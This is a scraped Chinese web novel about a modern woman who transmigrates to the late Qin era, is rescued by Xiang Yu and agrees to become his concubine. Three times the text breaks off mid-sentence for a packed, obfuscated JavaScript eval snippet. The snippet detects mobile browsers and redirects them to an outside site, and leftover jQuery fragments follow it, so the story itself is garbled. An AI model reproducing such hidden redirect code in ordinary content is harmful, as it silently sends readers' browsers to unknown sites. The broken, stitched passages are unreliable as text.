《穿越成项羽的宠妾》 1. 第 1 章 江水很冷,四周很黑。 虞苋什么也看不见,手脚逐渐没了力气,即将面临死亡绝境。 此时她听见了一阵水声,且声音越来越近。 什么东西? 她顿时浑身发麻。 未知的事物总是惹人惧怕,更何况在此之前,虞苋还亲眼见到江中大船上一场惨无人寰的屠杀。 那血散开在水面,如同黄泉路的彼岸花般的红。 若非她游得快,她现如今已变成水下亡魂。 此时一股凉意从尾椎直达天灵盖,虞苋只能用尽自己的力气,张开自己的双手往前游。 突然一只大手抓住了她的胳膊。 虞苋:“……” 救命要死了要死了! 可千万别是那帮杀人恶魔的团伙,她就算是死也不要死得那般的凄惨。 虞苋的嗓子眼被吓得堵住,什么话都说不出来,她的双手在水面用力扑腾水花,浑身却依旧动弹不得。 他说:“别动。” 是个男人的声音,声音有点冷,正将她往怀中揽。 对方身上的体温格外滚烫,呼吸急促的喷洒在她的脖间,让她又害怕,又忍不住攀着他的肩膀,贴上去取暖。 虞苋瑟瑟发抖,颤声道:“你,你是来杀我的吗?” 他道:“不是。” 虞苋闻言终于鼓起勇气抬头,黑暗中只看到对方模糊的影子。 不知是不是她的错觉,男人的眼中有一道重影闪过,快得像是她眼花了,让这人身上多了几分妖冶神秘。 管他是人是鬼,只要不杀她就行。 她力气早已耗尽,此时心神一松,瞬间昏死了过去。 夜风吹开云层,皎白的月光清冷的洒在神州大地,无情又冷漠的观望世间的生死仇恨。 项羽眉头微皱,仔细打量怀中的漂亮女人。 她脸上没有一点血色,鸦黑卷翘的睫毛上还挂着晶莹剔透的水珠,一头如同绸缎的头发散在水中,月色下就像是误入人间的神祇,非凡间之人。 项羽微微有些愣神。 一人划船而来,语气低沉的打断了他的思绪:“将军,那艘商船上无人生还,是赵高派来的细作担心行踪暴露,将一船的人全部灭口了。” 他说完,看见对方怀中的女子,愣了愣:“她是?” 项羽道:“那艘船上唯一活着的人。” 翌日。 虞苋感觉浑身都很暖乎,好像是躺在云层之中,舒服得舍不得睁开眼睛。 仿佛昨日所经历的一切,都是她做的一场虚幻噩梦。 她还在酒店的大床上,期待接下来的旅行。 然而,此时鼻尖萦绕着淡淡的龙诞香,头上传来浅浅地呼吸声,都在告诉她,她并不在酒店,而且身边还有人。 幻想粉碎。 虞苋浑身一僵,眼睛睁开一条细缝,偷瞄对方。 她的手竟然扒拉着身边人的衣领,双腿纠缠着对方的腰,如同藤曼绕干将人死死缠紧。 ? 他似乎感觉到她的不安,滚烫炙热的掌心轻抚她的脊背,声音含糊道:“别害怕,没事了。” 昨晚她昏迷之后到底还发生了什么事啊? 她抬眸。 男人下巴棱角分明,喉结在滚动,侧颜英俊,臂膀的薄肌带着细细密密的汗,似乎在忍耐着什么,性张力被拉爆。 无一都在释放一个信息,这是一个英俊性感的极品男人。 而且是昨晚力竭之时遇见的人。 他低头,与她对视,轻笑道:“醒了?” 虞苋见状,赶紧松开了对方的衣领,爬起来坐着,眼神愤怒。 她脸蛋通红,小声骂道:“你趁人之危!” 对方的面色平静,淡定解释道:“你昨晚昏迷后身上高热,又惊惧发颤,我喂你喝了药后,你便抱着我不撒手。” 虞苋:“你胡说。” 他微笑:“而且我一离开你就哭。” 她脑中出现一些模糊的片段,脸蛋更是白里透红,眼神透露着些许心虚。 好像是真的。 丢人啊。 此时虞苋的衣物已经全部都换了,身上没穿贴身内衣,肥大的衣裳挂在身上,让她格外不适应。 她竟然穿成这样八爪鱼一样缠着一个陌生的男人,臊得她整个人都熟透了,又紧张兮兮地问:“那我身上的衣裳是谁帮忙换的?” “船上的老媪。” “船?” 虞苋瞬间头皮发麻,忍不住道:“对了,昨天我看见江上有一艘很古老的船失火了,船上有人想要跳船,却被人砍了脑袋丢进江里,死了好多人……” 她的脑海中闪现出昨晚的场面,面上的潮红瞬间褪去,小脸变得惨白惨白的,胃还隐隐有些不适。 虞苋正想问这件事警察是怎么处理的,便听见他冷声道:“是秦王胡亥和赵高派来楚地的细作担心暴露身份,便直接将商船上的人全部屠戮了。” 男人嗤笑道:“暴秦可不会管六国百姓的死活。” 什么? 胡亥?赵高? 暴秦? 都啥玩意儿? 她“啊”了一声,便闭上了嘴巴。 在现代遇上这种大案,警察一定会找上她的,现在她不在医院也不在警察局,而是在一个陌生的地方,眼前的男人还留着长发,说着奇奇怪怪的话,实在有点过于诡异。 项羽询问:“你的家人也在船上?” 那到没有。 虞苋敏锐的没有回答,总感觉不太对劲。 项羽以为她不说话是默认了,此刻用悲悯的眼神看着她:“节哀顺变。” 虞苋:“……” 她有点不死心,继续询问:“胡亥和赵高是谁?” 万一只是同名呢。 总不能一遭落水就穿到了两千多年以前的秦朝了? 项羽道:“一个是秦国的君王,一个是他身边的走狗。” 他道:“若是你将来要为亲人报仇,记住这两人就够了。” emmm…… 不会是谁在整蛊她吧? 虞苋心下慌乱,忍不住扫视一眼四周。 房间里的布置很古朴,里面点了香炉,香烟丝丝缕缕往外散开,在床边不远处摆了木制镂空屏风,是很中国风的布置。 整个房间没有出现塑料、电器、工业品等现代产物。 她立即爬下床打开窗户,发现她此时正在船上,岸上是一片荒野不见人烟。 船在江上航行,她眯着眼看了很久,岸上一直没有出现任何的现代设施。 以后世的基建水平,绝不可能出现这种情况。 不会真穿了? 虞苋心中慌乱成一团,转身看见对方已经绕过屏风,跪坐在案几面前,拿着铜杯喝水。 她忍不住走到了他对面,强装镇定自我介绍。 “我叫虞苋,虞美人的虞,苋菜的苋。” “昨晚多谢你救了我,若是没有你,此时我应该已经葬身鱼腹了。” “若今后有用得着我的地方,我一定会报答你的。” 他撩起眼帘,见她报上姓名,便也开口回道:“项籍,字羽。” 欸? 他说自己叫啥? 项羽吗? 虞苋大脑瞬间宕机,一时间没了反应。 项羽可是西楚霸王,是一个时代的英雄,在历史上留下浓墨重彩的一笔,在秦末是绝对的大佬人物。 在他身上,瞬间能联想到“巨鹿之战”,“鸿门宴”,“楚汉争霸”,“乌江自刎”等等词条。 他代表了一种“自今思项羽,不肯过江东”的英雄气节。 虞苋仔细打量眼前的男人,他长得极为的英俊,身材亦是高大健硕,年龄看上去也就二十来岁,周身却气度不凡,多看两眼就要让人跪下臣服的冲动。 听闻项羽双目重瞳,不过他现在眼睛虽与正常人一样,但在昨晚她确实见到了他眼睛里的双瞳。 虞苋道:“你真是项羽?” 项羽眼神微眯,反问:“你知道我?” 知道。 那可太知道了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14736938|157359||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>中国人若是不知道项羽是谁,那都要怀疑对方是不是五十万的程度。 若他真是项羽…… 她刚才在床上双腿紧紧缠着他的腰,对方的手还安抚的揉着她的腰窝……想到不敢想,却真实发生,太过刺激了吧。 虞苋大着胆子坐到对方身边,伸出手戳他挺拔的鼻子,嘴里嘟囔道:“我到底是在做噩梦,还是在做春梦?” 项羽:“……” 他抓住她的手腕:“你的脑子还没清醒?” 虞苋感觉到男人的手滚烫,握着她的手腕有点疼,说明确实没有在做梦。 她诚实道:“脑子已经清醒了,不过我倒是宁愿脑子继续昏沉下去。”如此便不用面对穿越的窘境了。 此时,项羽目光落在她的身上,说道:“对了,你刚才不是说要报答我么,正好有现成的机会。” 虞苋疑惑:“什么机会?” 他冷声道:“你是那艘船上唯一幸存之人,是否还记得行凶者的长相?” 原来对方会救她是跟那艘被屠戮的船有关啊。 她点头:“记得。” 虞苋没有解释自己并非船上的人,假如她真的穿越了,她可不愿暴露出自己来自后世,不然就是给自己找麻烦。 她继续道:“若是我见到那人,一定可以认出来。” 昨晚船上燃着熊熊大火,江上十分混乱,那张在火光下狰狞的脸,虞苋不会忘记的。 项羽颔首:“甚好。” 此时门外传来敲门声:“将军,船已靠岸,是否要进城?” 项羽吩咐道:“她已经醒了,先准备吃的,再把画师寻来。” “喏。” 而虞苋又趁机偷偷打量他。 天哪。 真是西楚霸王。 活的。 项羽道:“你偷瞄什么?” 虞苋:“……” 这么敏锐? 她装作没事人:“没看什么啊。” 项羽没有过多的追究,开口询问:“你这世上可还有什么亲人吗?” 闻言,她一愣,随后摇头:“在这里我没有亲人。” 只有祖宗。 就在这时,有人敲门,送来了吃的。 是干巴巴的饼。 项羽颔首:“船上没有什么吃的了,只能暂时先委屈你吃这些了。” 这地方她也没得挑啊。 虞苋虚伪道:“不委屈不委屈,有得吃已经很好了。” 等她吃的差不多了,画师被项羽叫了进来,她便按照记忆对凶手长相,跟画师进行描述。 画师是个能人,通过虞苋的描述,便在画布上将凶手的长相还原得七七八八。 画像成了之后,她咽了咽口水,说道:“他就是昨晚的凶手。” 虞苋说:“当时我刚出水面,就看见他拿着刀将人的脑袋砍掉了,特别凶残。” 回忆起那个画面,她又有点犯恶心了。 项羽看了一眼画像,吩咐手下:“按照画像抓人。” 船靠在渡口,到处都是船。 虞苋跟着项羽出了船舱,站在护栏前往下看,能看见苦力在岸上卸货,若是动作慢了,随之而来的便是长鞭挥下皮开肉绽。 他们身子瘦弱,穿得破破烂烂,是虞苋从来没有见过的景象,她这才真切的感知到,自己究竟穿越到一个怎样的时代。 她在这种环境恐怕活不过三天! 虞苋吓得小脸麻木,瞥见项羽带着人准备下船,赶紧小跑到他跟前,伸手将人拦住了。 “项将军,等一下。” 对方比她高了很多,虞苋只到项羽的胸膛,她需要仰头才能看见他的下巴。 此时项羽面色不变,低头居高临下看她,身上属于上位者的压迫感排山蹈海。 他长得极为的俊美无铸,与虞苋刚醒来时见到的他又显得不太一样,身上有着贵族天然的傲慢与睥睨。 项羽皱眉:“何事?” 虞苋被看得局促,脸上白里泛红:“项将军,我现在无处可去,能暂时跟着你吗?” 2. 第 2 章 项羽:“要赖上我?” ……赖上? 虞苋赶紧解释:“我没有,我可以干……”活的。 话还没有说完,对方突然弯腰凑近,高挺的鼻梁差点戳到虞苋的脸。 她心猛地一跳,咽下了后面的话。 项羽声音低沉:“此事等我回来再说。” 虞苋鸦黑色的睫毛轻抖两下,鼻尖似乎又闻到了对方身上的龙诞香,身体温度上升,忍不住往后仰好离远一点。 对方却已经直起身子,目光落在她的脸上:“此地人多眼杂,你这张脸扎眼得很,劝你别乱跑。” 她闻言摸了摸自己的脸,不知此时她是该笑还是该哭。 项羽目光下落,眸光骤冷:“我不会救你两次。” 虞苋顺着他的目光扭头看向船下,发现船下不少人的目光隐晦地落在她身上,眼神阴暗扭曲藏着赤裸欲望,让她顿时浑身恶寒。 她还是哭吧。 虞苋咬唇:“我不会乱跑的。” 项羽见她倒是识趣,心中很是满意:“放心吧,船上很安全,只要你好好待着,不会出事。” 听这语气,想要赖上他,似乎有戏。 虞苋心中稍安,立即点头保证:“我不下船,我就在这里等你回来,不会乱跑的。” 项羽颔首。 她便给对方让开了道。 此时快要到饷午,太阳很大,虞苋站在船上,看着他带人骑马离开。 江风愈大了。 虞苋站在甲板上看着渡口船来船往,黑如绸缎的头发和身上肥大的曲裾被吹得猎猎作响,静静观察周围的一切。 这是两千两百年前的时空,明明身处的是同一片土地,却一切都不一样了。 她站了很久,盯着渡口来往的人群,一直站到了天黑,依旧找不到任何类似于“楚门世界”的痕迹。 很不甘心啊。 怎么就穿了呢? 她一直待到了酉时末,时间过去了好几个时辰。 虞苋依靠在护栏想着事,便见项羽带人办完事情回来了,她见状立即跑下船去迎接他。 项羽将马绳交给下属,回头看见她跑来,眉眼还带着讨好地笑。 到了他的面前,漂亮的小女郎却及时刹住脚步,手捏着衣摆扭扭捏捏。 他皱眉:“江岸风大,怎么不回船上的房间里待着?” 虞苋脱口而出:“我在等你。” 项羽挑眉:“怕我丢下你跑了?” 她摇了摇头,又点了点头。 项羽率先上船,见虞苋愣着不动,回头看她:“跟上。” 她“哦”了一声,亦步亦趋的跟着。 两人都上了船,项羽停下脚步站在甲板上。 此时有一人被麻袋套头,项羽的下属将他押解上来。 虞苋站在项羽身后,顺着他的目光看去,正好看见这人被按跪在地。 他头上的头套被摘下来,露出了一张让她熟悉的脸。 此时对方一脸无辜,眼神茫然,战战兢兢地匍匐在地,额头上出了冷汗,仿佛是普通小民。 他目光瞥见项羽,立即朝他哭诉:“饶命啊,贵人,求贵人明鉴,小的真不知道自己犯了什么罪,何时无意得罪了贵人,你发发善心,就饶了小的吧!” 项羽皱眉,冷声吩咐:“太吵,堵住他的嘴。” 下属照办。 很快船上便安静了。 此时,虞苋却已经汗毛竖起,绷紧身体,小脸被吓得惨白。 明明昨晚这人还拿刀砍人头颅,就是连船上的妇孺也没有放过,凶残至极,现下就能装成无辜之人跪地求饶。 这个时代还有多少这样善于伪装的凶徒? 她害怕得想跑。 项羽炙热的大手压住了她肩膀,弯腰凑到虞苋耳边淡淡询问:“是他吗?” 虞苋瞬间从惊惧的情绪中挣脱出来,意识到她身边可是未来的西楚霸王项羽,心中稍安,揉了揉有些痒痒的耳垂,狠狠点头。 “是他!” “就是他屠戮了一船的人!” “我不会认错的!” 她的话刚落下,那人脸上憋得通红,想要狡辩,却因为嘴巴被堵住,只能拼命摇头,发出“呜呜呜”的声音。 他的眼神出奇的愤怒,就好像是她冤枉了他。 项羽摆手:“拖下去审。” 此人是不是凶手,用了审讯手段,自然就清楚了。 话落,下属将那人像拖死狗一样,将他粗暴地拖下去了。 似乎知道自己没有解释的机会,他回头怨毒地看了一眼虞苋。 虞苋浑身一抖,脸蛋吓得冷白。 项羽安抚:“别怕。” 她仰头看他。 船上点了灯笼,昏黄的烛光打在他半边脸上,明暗界限分明,将项羽的脸部线条勾勒得愈加的硬朗英俊。 两人靠得很近,虞苋有些不自在。 她问:“他会死吗?” 项羽语气骤冷:“他若是细作,想要死,没那么容易。” 虞苋咬唇,实话实说:“我怕他逃了,以后报复我。” 他看着她眼神的惧意,弯腰跟她平视,嘴角倒是带了点笑意:“不是想赖上我吗?又担心我护不住你了?” 欸? 闻言,虞苋眼神马上亮了,语气急切地道:“项将军,你答应让我跟着你了,对吧对吧?” 项羽又改口:“我得再想想。” 嗯? 虞苋看着他眼神微眯,上下打量她,语气带了些好奇:“不如你说说看,若想要留下来,你能为我做些什么?” 她愣住。 两千年后自然有很多古代没有的东西,不说手机、电脑、飞机、大炮,便是提炼精盐、制糖工艺、冶炼钢铁等工艺,只要拿出来便也是比这个时期先进太多。 可是这些知道归知道,真正实操起来,她还不一定能办成。 虞苋眼神顿时黯然:“我不知道能做什么。” 项羽起身,垂眸看她:“我可不需要无用之人。” 她道:“我可以干活的。” 项羽轻笑:“我身边缺干活的人吗?” “……” “不缺。” 她低头:“我知道了。” 这个世界没有人会无缘无故烂发好心,自己怎么能将希望寄托在旁人身上。 虞苋道:“现在天黑,能否让我再借宿一晚,等天亮再离……” 话还没有说完,她的下巴被炙热的大手捏住,迫使抬头,便见对方的双目再次出现重瞳,里面的眸光微闪。 即便只是刚认识没两天,虞苋还是敏锐地感知到他生气了。 他生哪门子的气。 项羽的拇指轻轻摩擦她的脸颊,眼神越发幽深,此时他就像是草原上狩猎的雄狮,浑身散发着属于顶级狩猎者的傲慢和凶狠。 而她是猎物。 “当然,”他嗤笑,“想要赖上我也不是没有办法。” “只要你愿意付出代价。” 这人怎么阴晴不定的。 虞苋忍不住腹诽。 江风很冷,将身体表面温度带走,虞苋感觉自己身体很冷,而对方的手掌心异常滚烫。 她张了张口:“什么代价?” 项羽眼神挑剔:“你也就这张脸长得还行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14736939|157359||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,想要跟着我,那便留下做我的姬妾。” 虞苋眼睛顿时瞪大,拿开了对方的手退后一步:“你在开玩笑吗?” 他收回手背在身后,看上去神色愈加不悦:“那就是不愿意了。” “……” 谁要做小啊。 她控诉:“你现在就在趁人之危。” 项羽淡定道:“你可以拒绝。” 虞苋咬唇:“我有得选吗?” 项羽敛住神色,上前一步,居高临下看她,语气很淡:“昨晚是你先缠上我的。” 虞苋:“……这么丢脸的事情,就不要再提了吧。” 她偷瞄了一眼项羽,这人性子阴晴不定,皮囊确实让人无可挑剔。 而身份、地位、权势,和历史传说,都赋予了眼前这个男人无上的魅力。 况且她已经穿越到这个鬼地方,自己暂时没有落脚的地方,目前也没有自保的能力,离开了他说不定还会遇到更坏的情况,想要活命就只能跟着他。 虞苋低头,小声嘟囔:“我才不要当小妾,才不要和人共侍一夫,那还不如死了算了。” 她娇气黏人占有欲超强,吃不点一点爱情的苦。 项羽轻嘲:“还挺小气。” 他见她领口被风吹开,伸手给她整理了好,淡定解释道:“我未曾娶妻,身边也没有其他侍妾。” “怎么会?”她闻言很是惊讶,忍不住凑近对方,小声询问,“莫非是将军不行,身边需要个女人为你打掩护?” 项氏留存的后人,似乎是项伯那一支,项梁和项羽历史上没记载留有后代。 在这个时代男女十一二岁便可成亲,而项羽是三十一岁才在乌江自刎,在这十几年间都没有留下子嗣,莫非真是他那地方不行? 虞苋瞎猜测,目光往下扫。 “……” 项羽被这话气得一脸铁青,声音咬牙切齿道:“我到底行不行,你试一试不就知道了。” 她尴尬一笑:“错了错了,我胡说的。” 项羽拿眼神睨她,似乎还在等她的答复。 虞苋仰头看着对方冷硬俊朗的下巴,心中拧巴了一会儿,忍不住跟项羽谈条件:“项将军,倘若我答应做你的小妾,哪一天你有别的女人了,你得放我走。” 他眼神微眯,没好气道:“你自己好好想清楚,到底是谁有求于人。” 虞苋:“是你馋我身子。” 项羽:“……” 他看着女郎微红的漂亮小脸,眼神倔强,心中忍不住柔软了几分,脸上却勉强道:“要求不算过分,答应你了。” 虞苋说:“那我也答应你了。” 项羽颔首:“江上风大,先回房吧。” 要是回房,就会被…… 她闻言心慌意乱,腿脚不愿动弹,却对方已经转身朝房间走去。 风在鬼哭狼嚎的呼啸,船上的灯笼被吹得乱晃,倒是显得十分的渗人。 呜呜呜…… 她害怕。 虞苋赶紧小跑的追上了项羽,亦步亦趋的跟在他身后进了房间。 夜风很大,门打开的瞬间,吹灭了烛台上的烛火,周围陷入了黑暗之中。 她赶紧将门给关上,将风挡在了门外。 此时周围很黑很黑,很安静,幻视自己还在冰冷的江水中,她心一紧。 “哒哒。” 火石点燃了蜡烛,房间里恢复了光亮,虞苋瞬间回神,便见到项羽已经走到案几前。 他双手抱胸,居高临下:“脸这么白,害怕什么?” 虞苋下意识回道:“害怕你等一下会让我在床上受不了。” 项羽:“……” 3. 第 3 章 虞苋意识到自己说了什么,一股臊意爬上了脸颊,她“咳咳”两声:“我胡说的。” 项羽脸色青黑:“你对男女之事上很懂啊。” 房间里的气压凝固,虞苋顿时警铃大作,立即解释道:“我又没试过,我怎么会懂。” 她强调:“我不懂。” 烛光昏黄,衬得女郎的脸颊愈加红润,她牙齿轻咬着嘴唇,双瞳剪水,身上肥大的曲裾挂在瘦削的肩膀上,显得身子极为的单薄。 柔弱美丽,楚楚可怜。 孱弱神似菟丝花。 项羽敛住神色,轻嗤一声,单臂揽住她的细腰,将人凌空抱起带到了床榻之上。 虞苋眼神慌乱,微微仰头轻呼:“将军将军,是不是太快了,我还没做好准备呢。” 项羽搂着她的腰,伸手揉了揉,面色不虞:“怎么这么瘦?” 他感觉在抱一团柳絮,轻飘飘的,没有什么分量,仿佛一阵风就能被吹跑。 虞苋博取同情,声音软乎道:“我吃的少,好养活,就瘦了。” 轻柔的声音如同毛刺刮心,一下就挠进了男人心里。 而此时,项羽眼神盯着虞苋微微张合的嘴唇,眼神愈加幽深危险。 虞苋被看得心尖在发颤,感觉到气氛过于诡异,似乎下一刻孤男寡女就会在房间里干柴烈火一发不可收拾,神色变得紧张兮兮的。 项羽嘴唇微勾:“你在紧张什么?” 虞苋嘴硬:“没紧张啊。” 呵呵,还能紧张什么。 怕挨草呗。 “不过,”鼻间全是对方的味道,她浑身开始燥热,脸颊也爬上一抹潮红,哆嗦的找了个烂借口,“项将军,我来癸水了,今晚怕是不成。” 项羽冷笑:“你看我信吗?” 她赶紧道:“可以信的。” 虞苋脸上表情尴尬,长而卷翘的睫毛抖啊抖,睫毛在脸上落下了阴影,整个人看上去要多心虚就有多心虚。 项羽轻哼:“你若是不愿意,现下还可以反悔。” 见虞苋抿嘴思考,项羽心下又有点不爽。 还真想反悔不成? 他凑近:“不过我得提醒你一句,不要做出让自己错误的选择。” 这到底是提醒她,还是在警告她啊? 虞苋:“……” 她尴尬一笑,表明态度:“能跟着将军是妾身的福气,妾身欢喜还来不及,又怎么会反悔呢?” 虞苋的眼睛眯成月牙,双腿分开坐在他腿上,然后直起小身板,仰头讨好的看他。 然而即便她很努力的想要与对方平视,虞苋的头顶依旧才到项羽的下巴。 郁闷。 见状,虞苋只好退而求其次,低头将脸贴在男人的胸膛蹭了蹭,语气软甜地撒娇:“事情太过突然来,妾身都还没有做好准备,能不能缓一缓再同房。” 项羽低头瞥了她一眼,她身上的馨香丝丝缕缕地钻入鼻间,漂亮的脸蛋红润润的,眼睛也很是水灵,正装得乖巧的看着他,软得不行。 他的臂膀忍不住收紧,不自觉地将女人往怀里揉,思考要不要放过她。 虞苋:“将军?” 对方的臂膀很硬很烫,她整个人都被挤压在他的胸膛上,两人贴得很紧很亲密,甚至都能听到男人的心跳声,整个人都被对方荷尔蒙牢牢锁定。 她仰头看着项羽,正看见他滚动的喉结。 口干舌燥。 想喝水。 项羽却将她给松开了,声音嘶哑:“既然还没做好准备,你今晚就睡地上吧。” “可是地上潮。” 项羽:“怎么,要么你睡床榻,我去睡地上?” 虞苋:“……也不是不行。” 见项羽眼神一冷,她赶紧识趣改口:“我睡地上。” 嗯……算了……地上就地上吧,总比直接挨草强。 项羽语气一冷:“那还不从我身上下来。” 呃…… 她脸蛋微烫,默默爬下去,小声嘟囔道:“明明是你把我搂上来的,又不是我主动扒拉上来的。” 项羽:“……” 这女人看上去像是快要炸毛的狸奴,长得漂亮软乎,又生了一双漂亮勾人的双眼,就是脾气太大了,手下的爪牙蠢蠢欲动,仿佛随时准备挠人。 他微笑:“你说什么?” 虞苋清了清嗓子:“我没说什么啊。” 她又“呵呵”尴尬一笑,好声好气地询问:“不过夜间太冷,有没有被子垫一垫?” 项羽道:“柜子里有被褥,你自己去拿吧。” 虞苋闻言,目光在房间中扫视一圈,看见了一旁的柜子便转身走过去,准备要打开柜子前又回头看了一眼对方,见他神色淡淡的,许是柜中没有什么见不得人的东西,她这才安心的柜子打开,将里面的被褥拿出来在地上铺好。 项羽阴阳怪气:“你这时候倒是乖觉了。” 虞苋跪坐在被褥上,朝着他讨好一笑:“我听话,很乖的。” 若非此时身不由己,她绝对说不出自己听话乖巧的话来。 她狠狠唾弃自己。 真是丢了穿越者的脸。 项羽道:“行,睡吧。” 虞苋赶紧躺下盖上被子,装摸做样的闭上了眼睛,贯彻落实了自己很听话这个说法。 项羽:“……” 无人说话,房间很安静。 虞苋偷偷装睡了很久,感觉不到对方带来的压迫感,这才睁开眼睛,默默转身平躺着。 她转头偷瞄了一眼项羽。 怎么就从现代穿越到了秦朝,还变成了西楚霸王项羽的侍妾了呢? 人生真是无常。 既然项羽目前还没有妻妾,还不如暂时放弃抵抗,跟在他身边躺平当个咸鱼呗。 至于未来。 这可是男尊女卑的时代,即便很不想承认,这个世道的女子的确大多都只能依附男人而活,现如今她又没有了家人托底,还能谈及有什么未来? 虞苋将被子蒙头。 啧,难搞。 “还不睡?再想什么呢?” 项羽突然开口,将虞苋给吓了一跳。 她转身面对对方,语气有些好奇地问:“对了,我一件事我很好奇,将军为何这般信任我?” 项羽反问:“从何谈起?” 虞苋解释道:“刚才你询问我,你们抓到的人到底是不是屠戮一船之人的凶手,我回答是,你都没让他狡辩就让人带着他下去审问了,未免对我太过信任了,万一我认错了人,岂不是连累将军误会了好人。” “你别想多,不管他是不是细作,都会进牢房走一遭。”项羽语气冷淡,“我可不会放过一丝线索。” “哦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14736940|157359||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ~” 虞苋抿嘴,询问道:“可万一他真的是无辜的,那不就是误伤了好人?” 项羽嗤笑:“那他是吗?” 她摇头:“不是。” 虞苋低声道:“我是亲眼见到了那人是个杀人刽子手,可你们没有看见,若仅凭人证证词就对犯人用刑,这世上将会多出多少的冤假错案。” 项羽:“你是怕祸临己身吧。” 见心思被拆穿,她点点头:“就是觉得流程不对。” 况且上位者为所欲为,遭殃的是下位者。 作为一个下位者,她害怕多正常。 项羽颔首:“虞苋,我得提醒你一句,这是乱世,非常时期行非常手段。” 这是在内涵她蠢? 虞苋语气含糊:“我只是一时间还不太能适应这里的行事手段。” 项羽道:“那你得尽快适应了,乱世向来是弱肉强食,而所谓的规则流程,只是强者给弱者制定的。” 有道理。 “对了,”他疑惑道,“你的家人也在船上遇难,按理说他们是你的仇人,可你对于仇人的反应未免太过理智了。” “呃……”她再次将被子蒙头,略过了这个话题,“我困了,先睡了。” 项羽:“……” 心虚什么? 之后谁都没在说话,房间里陷入了长久的沉默。 …… 冷。 怎么黑乎乎的。 尸体漂到了她的身边,残肢被浸泡在血水中。 嘶—— 怎么又回来了? 她明明记得自己被人救了的,难不成是她身体失温出现的幻觉。 不行,得赶紧游快点,千万别被那伙凶徒发现,会被杀死的。 可是手脚怎么动不了? 要命了。 项羽看着地上蜷缩成一团,浑身颤抖的女郎,不由得皱起了眉头。 此时虞苋的额头出了细细密密的汗,鬓角被汗水打湿,漂亮的小脸没有任何的颜色。 看来又梦魇了。 他长腿跨下床榻,蹲下,伸手放在她额头。 没发热。 还好。 项羽倒是松了一口气。 这是虞苋猛地抓住他的手,就像是濒死之人抓到了水中浮木,双手双脚死死将他缠紧。 项羽:“……”又来。 他拍拍她的脸:“醒醒。” 没动静。 见状,项羽皱眉。 夜间气候带着凉意,他盯着眼前之人看了一会儿,忍不住叹了一口气,将人捞起抱到了床上。 虞苋一到床上便将人松开,翻了个身,抱着被子继续睡,呼吸绵长。 装睡? 看来刚才是醒了。 项羽嘴角微勾,倒是没有戳穿她,好心的给她放下了床幔,这才走了出去。 这时候下属已经在门外等着了。 “将军,他已经交代了,的确是赵高派来的细作,细作的名单已交代。” 他接着烛光瞥了一眼:“按名单抓人,记住,生死不论。” “喏。” 立夏刚过。 项羽站在甲板上静静站了一会儿,夜空出现海东青盘旋,随即俯冲而下,送来了范增密信。 “计划泄密,尽快寻到楚怀王之后,防止发生变故。” 4. 第 4 章 虞苋已经完全睡不着了,听见项羽离开的脚步声,慢慢睁开了眼睛。 烛台上的烛火已经熄灭,只有微弱的月光从窗户透进来,不至于让人什么也看不见。 她呼出一口气。 还好只是一个梦。 虞苋感觉自己都要得心里创伤了,不然怎么老是会梦见那样惨烈的场景? 她翻了个身。 听到了外面的谈话,心中松了一口气,实在是害怕被凶徒的同伙报仇。 而接下来项羽没再回房,虞苋也没有睡着,在回忆着《史记》中对于项羽的记载。 翌日,她顶着一对黑眼圈出现在了项羽面前,看着他一脸的唏嘘,摇头晃脑。 项羽:“……” 他道:“你又发热了?” 虞苋闻言摸了摸自己的额头,感受了一下,随后眼睛弯成了月牙:“没发热。” 项羽直接问她:“那你看着我唏嘘什么?” 虞苋“呵呵”一笑,张嘴就来:“我在自哀自怨呢。” 昨晚她专门回忆起这一段历史,想到了历史上关于项羽的一生。 从斩杀会稽郡郡守殷通的历史首秀,到巨鹿之战的大放异彩,以及在鸿门宴上轻敌放过了刘邦,最后楚汉争霸的四面楚歌……关于对方的一生跃然眼前。 若是他在鸿门宴杀了刘邦,若是没有项伯这个二五仔告密,若是重用了韩信没有让他出走,或许一切都会不一样。 当然历史可没有那么多的“若是”,不然也不会逼得对方乌江自刎。 唏嘘啊。 项羽看着眼前的女郎的眼神暗戳戳往他身上扫,自以为很隐秘,实际上对于一个常年习武时刻保持戒备之人而言,算的上是光明正大的用眼神蛐蛐他。 他瞥了一眼她:“别撒谎。” 虞苋见被戳破,不敢再狡辩,尴尬的摸了摸鼻子。 船已经离开了渡口在江面航行,外面的风越加的大,上午的日头也很大,照射在水面上波光粼粼,有点刺眼睛。 虞苋默默站到了项羽的身边,仰头看他着他的侧脸,询问道:“项将军,我们现在要去哪里?” 他道:“丹阳。” 她忍不住道:“那些凶徒怎么办?” 